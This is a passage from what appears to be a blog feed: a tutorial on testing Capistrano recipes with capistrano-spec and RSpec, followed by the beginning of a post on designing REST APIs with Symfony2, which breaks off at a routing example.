&lt;p&gt;In order to make a Capistrano recipe testable, a common practice is to create a
module that can extends a Capistrano configuration instance:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;MyRecipe&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load_into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# Your code here&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Capistrano&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;instance&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;MyRecipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load_into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Capistrano&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;instance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The last three lines are needed to keep the original behavior of your recipe,
assuming you have an existing recipe that doesn’t follow this practice.&lt;/p&gt;

&lt;p&gt;Now you are ready to test your recipe, but &lt;em&gt;how?&lt;/em&gt; &lt;a href=&quot;https://github.com/mydrive/capistrano-spec&quot;&gt;capistrano-spec&lt;/a&gt; to the
rescue! &lt;strong&gt;capistrano-spec&lt;/strong&gt; brings &lt;a href=&quot;https://rspec.info/&quot;&gt;RSpec&lt;/a&gt; to the Capistrano world so that
you can easily test your recipes. It has been created by &lt;a href=&quot;https://github.com/technicalpickles&quot;&gt;Josh
Nichols&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;installing-capistrano-spec&quot;&gt;Installing capistrano-spec&lt;/h3&gt;

&lt;p&gt;The first step is to create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spec/spec_helper.rb&lt;/code&gt; file used to load everything
to run your tests. This file should look like this:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Bundler&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;rubygems&apos;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;bundler/setup&apos;&lt;/span&gt;

&lt;span class=&quot;vg&quot;&gt;$LOAD_PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;unshift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kp&quot;&gt;__FILE__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$LOAD_PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;unshift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kp&quot;&gt;__FILE__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;..&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;lib&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;capistrano-spec&apos;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;rspec&apos;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;rspec/autorun&apos;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Add capistrano-spec matchers and helpers to RSpec&lt;/span&gt;
&lt;span class=&quot;no&quot;&gt;RSpec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;configure&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Capistrano&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Spec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Matchers&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Capistrano&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Spec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Helpers&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Require your lib here&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;my_recipe&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you may have noticed, &lt;a href=&quot;https://bundler.io/&quot;&gt;Bundler&lt;/a&gt; is used to manage the dependencies. The
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Gemfile&lt;/code&gt; file should contain the following content:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;http://rubygems.org&apos;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;gemspec&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;gem&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;rake&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;gem&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;rspec&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;gem&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;capistrano-spec&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gemspec&lt;/code&gt; loads all the dependencies located in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gemspec&lt;/code&gt; file, which is
used to build your &lt;em&gt;gem&lt;/em&gt;. For more information, please read &lt;a href=&quot;https://bundler.io/rubygems.html&quot;&gt;Using Bundler with
Rubygem gemspecs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Also, a best practice here is to rename your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Gemfile&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gemfile&lt;/code&gt; because
it is used for testing purposes only. It’s not a big deal but it makes your
project a bit “cleaner”.&lt;/p&gt;

&lt;p&gt;Run the command below to install your dependencies:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BUNDLE_GEMFILE=.gemfile bundle install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You also need a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rakefile&lt;/code&gt; file to configure &lt;a href=&quot;https://ruby.github.io/rake/&quot;&gt;Rake&lt;/a&gt;. It is similar to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make&lt;/code&gt;
and it allows to run a set of tasks written in Ruby. In order to run your test
files (“examples” in RSpec), you need a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spec&lt;/code&gt; task. The following snippet is
all you need:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;rspec/core/rake_task&apos;&lt;/span&gt;

&lt;span class=&quot;no&quot;&gt;RSpec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Core&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;RakeTask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:spec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;rspec_opts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;--color --format=documentation -I lib -I spec&apos;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pattern&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;spec/**/*_spec.rb&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;task&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:default&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:spec&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you probably want to write your first test file, and you are right! Let’s
do it!&lt;/p&gt;

&lt;h2 id=&quot;writing-your-first-test&quot;&gt;Writing your first test&lt;/h2&gt;

&lt;p&gt;Create a new file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spec/my_recipe_spec.rb&lt;/code&gt; and add the content below:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;spec_helper&apos;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;describe&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;MyRecipe&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;before&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@configuration&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Capistrano&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extend&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Capistrano&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Spec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ConfigurationExtension&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;no&quot;&gt;MyRecipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load_into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;vi&quot;&gt;@configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Your code here&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We create a Capistrano configuration instance and we extend it with capistrano-spec.
This configuration instance is injected into our module.&lt;/p&gt;

&lt;p&gt;Try to run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spec&lt;/code&gt; task using the following command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BUNDLE_GEMFILE=.gemfile bundle exec rake spec
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should see:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Finished in 0.00006 seconds
0 examples, 0 failures
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If everything looks good, congratulations! Time to write your &lt;strong&gt;examples&lt;/strong&gt;. Yes,
in Rspec, you don’t really write “tests”, you write &lt;strong&gt;executable examples&lt;/strong&gt; of
the expected behaviors of your code.&lt;/p&gt;

&lt;p&gt;First, declare the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@configuration&lt;/code&gt; variable as subject:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;subject&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@configuration&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It tells RSpec what we are going to test. Instead of writing something like:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;it&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;should&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;have_run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;pwd&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You will be able to write:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;it&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;should&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;have_run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;pwd&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s way more readable.&lt;/p&gt;

&lt;p&gt;Now, you can start your first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;context&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;when running my:command&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;before&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find_and_execute_task&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;my:command&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;it&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;should&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;have_run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;echo &quot;Hello, World!&quot;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;context&lt;/code&gt; block always starts with either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;When&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;With&lt;/code&gt;, and should
describe one feature in a given context. In this context, we try to find and
execute the task &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;my:command&lt;/code&gt; and ensure it has run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo &quot;Hello, World!&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If this task takes parameters like a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:name&lt;/code&gt; variable, you should write a new
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;context&lt;/code&gt; to test it. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@configuration&lt;/code&gt; object has all its methods available
in your recipe. You can call the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set&lt;/code&gt; method to change a parameter:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;when running my:command&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;before&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;John&quot;&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@configuration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find_and_execute_task&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;my:command&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;it&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;should&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;have_run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;echo &quot;Hello, John!&quot;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Other matchers are available like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;have_gotten&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;have_uploaded&lt;/code&gt; depending on
what you need. Look at the &lt;a href=&quot;https://github.com/mydrive/capistrano-spec&quot;&gt;capistrano-spec README&lt;/a&gt; for more
information (it also contains useful examples). That’s all folks!&lt;/p&gt;

&lt;h2 id=&quot;links&quot;&gt;Links&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.betterspecs.org/&quot;&gt;Better Specs&lt;/a&gt;: RSpec guidelines with Ruby&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mydrive/capistrano-spec&quot;&gt;capistrano-spec&lt;/a&gt;: helpers and
matchers for testing capistrano recipes&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/everzet/capifony/tree/master/spec&quot;&gt;capifony specs&lt;/a&gt;: the
capifony test files&lt;/li&gt;
&lt;/ul&gt;

</content>
    </entry>
    
    <entry>
        <title>REST APIs with Symfony2: The Right Way</title>
        <link href="https://williamdurand.fr/2012/08/02/rest-apis-with-symfony2-the-right-way/"/>
        <updated>2012-08-02T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/08/02/rest-apis-with-symfony2-the-right-way</id>
        <content type="html">&lt;p&gt;Designing a &lt;strong&gt;REST&lt;/strong&gt; API is not easy. No, really! If you want to design an API the
right way, you have to think a lot about everything, and either to be pragmatic
or to be an API terrorist. It’s not just about &lt;strong&gt;GET&lt;/strong&gt;, &lt;strong&gt;POST&lt;/strong&gt;, &lt;strong&gt;PUT&lt;/strong&gt;, and
&lt;strong&gt;DELETE&lt;/strong&gt;. In real life, you have relations between &lt;strong&gt;resources&lt;/strong&gt;, the need to
move a resource somewhere else (think about a tree), or you may want to set a
specific value to a resource.&lt;/p&gt;

&lt;p&gt;This article will sum up everything I learnt by building different APIs, and
how I used &lt;a href=&quot;http://github.com/symfony/symfony&quot;&gt;Symfony2&lt;/a&gt;, the
&lt;a href=&quot;http://github.com/FriendsOfSymfony/FOSRestBundle&quot;&gt;FOSRestBundle&lt;/a&gt;, the
&lt;a href=&quot;http://github.com/nelmio/NelmioApiDocBundle&quot;&gt;NelmioApiDocBundle&lt;/a&gt;, and
&lt;a href=&quot;http://github.com/propelorm/Propel&quot;&gt;Propel&lt;/a&gt;.
Let’s say we will build a User API.&lt;/p&gt;

&lt;h3 id=&quot;do-you-speak&quot;&gt;Do you speak…?&lt;/h3&gt;

&lt;p&gt;An API is used by clients. They need to know how to talk to your API, and a
decent documentation is a good start, and will be described at the end of this
article.&lt;/p&gt;

&lt;p&gt;Actually, you also need to know how to talk to them too, and in the HTTP
protocol, there is something named the &lt;strong&gt;Accept header&lt;/strong&gt;. Basically, your
clients will send a header with the format they want to get.&lt;/p&gt;

&lt;p&gt;Thanks to the &lt;strong&gt;FOSRestBundle&lt;/strong&gt;, everything is done for you. No need to handle
this part yourself, but you have to configure which formats you want to support.
Most of the time, you will use &lt;strong&gt;JSON&lt;/strong&gt;, and if you take care of semantic
problematics, you will send &lt;strong&gt;XML&lt;/strong&gt;. This part will be described later too.&lt;/p&gt;

&lt;h3 id=&quot;get-what&quot;&gt;GET what?&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;GET&lt;/strong&gt; HTTP verb is idempotent. That means whatever you can do, when you
get a resource, you get the same response, and nothing should be altered.
You will use &lt;strong&gt;GET&lt;/strong&gt; to return resources: either a collection, or a single
resource. In Symfony2, the routing definition would be:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# src/Acme/DemoBundle/Resources/config/routing.yml&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;acme_demo_user_all&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;/users&lt;/span&gt;
